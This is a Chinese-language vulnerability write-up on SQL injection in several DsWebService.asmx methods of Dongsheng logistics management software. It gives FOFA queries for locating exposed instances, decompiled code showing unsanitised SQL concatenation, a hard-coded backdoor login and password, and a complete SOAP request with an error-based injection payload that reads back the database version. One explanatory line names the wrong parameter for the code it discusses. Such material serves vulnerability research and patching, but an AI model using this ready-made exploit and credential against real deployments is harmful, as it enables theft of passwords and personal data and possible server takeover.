漏洞简介
东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流信息管理系统 DsWebService.asmx 接口GetSeaiBsData、GetSeaeBsDataList、GetSeaeBsData和GetSeaiBsDataList、LoadCustomMainfastStatus、GetSeaiData等方法存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
漏洞分析
直接看 GetSeaiBsDataList 相关实现逻辑
public string GetSeaiBsDataList(
string LoginName,
string LoginPass,
string Mobile,
string Mblno,
int start,
int limit)
{
SeaiManifest seaiBsDataList = DsWebServiceDAL.GetSeaiBsDataList(LoginName, LoginPass, Mobile, Mblno, start, limit);
跟进GetSeaiBsDataList方法
public static SeaiManifest GetSeaiBsDataList(
string LoginName,
string LoginPass,
string Mobile,
string Mblno,
int start,
int limit)
{
SeaiManifest seaiBsDataList = new SeaiManifest();
if (string.op_Inequality(LoginName, "qdtaize") || string.op_Inequality(LoginPass, "EBBE3242-D49E-4398-BBFE-0133CA655EB5"))
{
seaiBsDataList.ERROMSG = "账号密码不正确";
return seaiBsDataList;
}
T_ALL_DA tAllDa = new T_ALL_DA();
string str = "";
string strSql1 = tAllDa.GetStrSQL("GID", $"SELECT top 1 GID FROM user_action Where ACTIONID='4B19971E-FA7F-4528-89F3-4F740CE3D8D5' AND USERID IN (SELECT USERID FROM user_baseinfo WHERE MOBILE='{Mobile}' ) ");
存在硬编码账户密码 qdtaize:EBBE3242-D49E-4398-BBFE-0133CA655EB5
然后参数Mobile被直接拼接在MOBILE=后,无任何过滤或校验,导致SQL注入漏洞,朴实无华!
同时另外一个参数Mblno也存在同样的问题


GetSeaiBsData存在同样的问题


GetSeaeBsDataList 同样如此!

GetSeaeBsData亦如此!

GetSeaiData
public string GetSeaiData(string LoginName, string LoginPass, string Mblno, string Pono)
{
if (string.op_Inequality(LoginName, "qdtaize") || string.op_Inequality(LoginPass, "EBBE3242-D49E-4398-BBFE-0133CA655EB5"))
return "账号密码不正确";
if (string.op_Equality(Mblno, "") && string.op_Equality(Pono, ""))
return "提单号和PO号不能为空";
if (string.op_Inequality(Mblno, ""))
{
MsOpSeaiHead msOpSeaiHead = new MsOpSeaiHead();
DSWeb.MvcShipping.Models.MsOpSeai.MsOpSeai data = DSWeb.MvcShipping.DAL.MsOpSeaiDAL.MsOpSeaiDAL.GetData($"MBLNO='{Mblno}'");
存在硬编码账户密码 qdtaize:EBBE3242-D49E-4398-BBFE-0133CA655EB5
然后参数LoginName被直接拼接在MBLNO=后,无任何过滤或校验,导致SQL注入漏洞,朴实无华!
LoadCustomMainfastStatus
public string LoadCustomMainfastStatus(string Mblno)
{
return string.op_Equality(Mblno, "") ? "" : DsWebServiceDAL.LoadBillStatus(Mblno);
}
public static string LoadBillStatus(string Mblno)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append("SELECT CH_ID,MBLNO,CNTRNO,SEALNO,DATESTR,VOYNO,[STATUS],[FILENAME],ISPOSTED,CREATETIME");
stringBuilder.Append(" FROM op_custom_status ");
stringBuilder.Append($" Where MBLNO='{Mblno}' and (ISPOSTED=0 or ISPOSTED is null) ");
stringBuilder.Append(" order by CREATETIME ");
DataSet dataSet = new DataSet();
Database database = DatabaseFactory.CreateDatabase();
ManifestStatus manifestStatus = new ManifestStatus();
参数Mblno也是被直接拼接在SQL语句中执行造成SQL注入漏洞。
漏洞复现
POST /Webservice/DsWebService.asmx HTTP/1.1
Host: dongsheng.mrxn.net
Content-Type: application/soap+xml;charset=UTF-8;action="DsWebService/GetSeaiBsDataList"
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:dsw="DsWebService">
<soap:Header/>
<soap:Body>
<dsw:GetSeaiBsDataList>
<!--Optional:-->
<dsw:LoginName>qdtaize</dsw:LoginName>
<!--Optional:-->
<dsw:LoginPass>EBBE3242-D49E-4398-BBFE-0133CA655EB5</dsw:LoginPass>
<!--Optional:-->
<dsw:Mobile>1')or 1<user--</dsw:Mobile>
<!--Optional:-->
<dsw:Mblno>1</dsw:Mblno>
<dsw:start>1</dsw:start>
<dsw:limit>1</dsw:limit>
</dsw:GetSeaiBsDataList>
</soap:Body>
</soap:Envelope>

通过报错注入在响应里回显数据库版本信息。

